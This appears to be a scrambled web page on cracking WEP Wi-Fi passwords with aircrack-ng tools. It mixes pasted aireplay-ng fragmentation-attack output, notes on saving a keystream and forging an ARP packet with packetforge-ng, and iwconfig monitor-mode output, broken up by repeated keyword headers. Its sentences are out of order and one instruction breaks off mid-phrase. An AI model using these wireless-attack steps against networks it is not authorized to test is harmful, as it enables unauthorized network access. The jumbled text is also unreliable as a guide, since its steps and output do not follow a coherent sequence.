Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms
Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms
Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms
Saving chosen packet in replay_src-0201-191639.cap You respond “y” above and the system continues. If the fragmentation attack was not successful, you can then try the chopchop technique next. Success! The file “fragment-0203-180343.xor” can then be used in the next step to generate an arp packet. Now you can build a packet with packetforge-ng out of that 1500 bytes keystream Saving keystream in fragment-0203-180343.xor Saving chosen packet in replay_src-0203-180328.cap You may need to try a few different packets from the AP to be successful. When a packet from the access point arrives, enter “y” to proceed. To match the frequency to the channel, check out.
#CRACK WEP PASSWORD CMD DRIVER#
(Note: If you are using a driver other than madwifi, then the Access Point field will be either invisible or show something other than your card's MAC address. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly. In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Tx excessive retries:0 Invalid misc:0 Missed beacon:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm Mode:Monitor Frequency:2.452 GHz Access Point: 00:09:5B:EC:EE:F2īit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3 To confirm the interface is properly setup, enter “iwconfig”. You will notice that “ath0” is reported above as being put into monitor mode. For other drivers, use the actual interface name.Īth0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
#CRACK WEP PASSWORD CMD DRIVERS#
This is because the madwifi-ng drivers are being used. Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. Enter the following command to start the wireless card on channel 9 in monitor mode:
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